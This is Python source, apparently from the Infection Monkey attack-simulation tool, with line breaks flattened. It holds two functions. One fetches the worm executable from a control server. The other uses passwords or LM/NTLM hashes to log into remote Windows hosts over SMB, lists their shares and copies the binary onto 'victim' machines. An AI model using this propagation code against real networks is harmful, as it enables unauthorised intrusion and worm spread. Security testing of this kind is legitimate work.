def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: return None try: dest_file = monkeyfs.virtual_path(filename) if (monkeyfs.isfile(dest_file)) and ( size == monkeyfs.getsize(dest_file)): return dest_file else: download = requests.get( "https://%s/api/monkey/download/%s" % # noqa: DUO123 (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) with monkeyfs.open(dest_file, 'wb') as file_obj: for chunk in download.iter_content( chunk_size=DOWNLOAD_CHUNK): if chunk: file_obj.write(chunk) file_obj.flush() if size == monkeyfs.getsize(dest_file): return dest_file except Exception as exc: LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile( src_path), "Source file to copy (%s) is missing" % (src_path, ) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None # skip guest users if smb.isGuestSession() > 0: LOG.debug( "Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash)) try: smb.logoff() except: pass return None try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) except Exception as exc: LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None info = { 'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users'] } LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) except Exception as exc: LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] high_priority_shares = () low_priority_shares = () file_name = ntpath.split(dst_path)[-1] for i in range(len(resp)): share_name = resp[i]['shi2_netname'].strip("\0 ") share_path = resp[i]['shi2_path'].strip("\0 ") current_uses = resp[i]['shi2_current_uses'] max_uses = resp[i]['shi2_max_uses'] if current_uses >= max_uses: LOG.debug( "Skipping share '%s' on victim %r because max uses is exceeded", share_name, host) continue elif not share_path: LOG.debug( "Skipping share '%s' on victim %r because share path is invalid", share_name, host) continue share_info = {'share_name': share_name, 'share_path': share_path} if dst_path.lower().startswith(share_path.lower()): high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), ) low_priority_shares += ((ntpath.sep + file_name, share_info), ) shares = high_priority_shares + low_priority_shares file_uploaded = False for remote_path, share in shares: share_name = share['share_name'] share_path = share['share_path'] if not smb: smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) if not smb: return None try: tid = smb.connectTree(share_name) except Exception as exc: LOG.debug( "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc) continue LOG.debug( "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", share_name, share_path, remote_path, host.ip_addr[0], ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) # check if file is found on destination if config.skip_exploit_if_file_exist: try: file_info = smb.listPath(share_name, remote_path) if file_info: if src_file_size == file_info[0].get_filesize(): LOG.debug( "Remote monkey file is same as source, skipping copy" ) return remote_full_path LOG.debug( "Remote monkey file is found but different, moving along with attack" ) except: pass # file isn't found on remote victim, moving on try: with monkeyfs.open(src_path, 'rb') as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True T1105Telem(ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path).send() LOG.info( "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", src_path, share_name, share_path, host) break except Exception as exc: LOG.debug( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc) T1105Telem(ScanStatus.SCANNED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path).send() continue finally: try: smb.logoff() except: pass smb = None if not file_uploaded: LOG.debug( "Couldn't find a writable share for exploiting victim %r with " "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", host, username, Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash)) return None return remote_full_path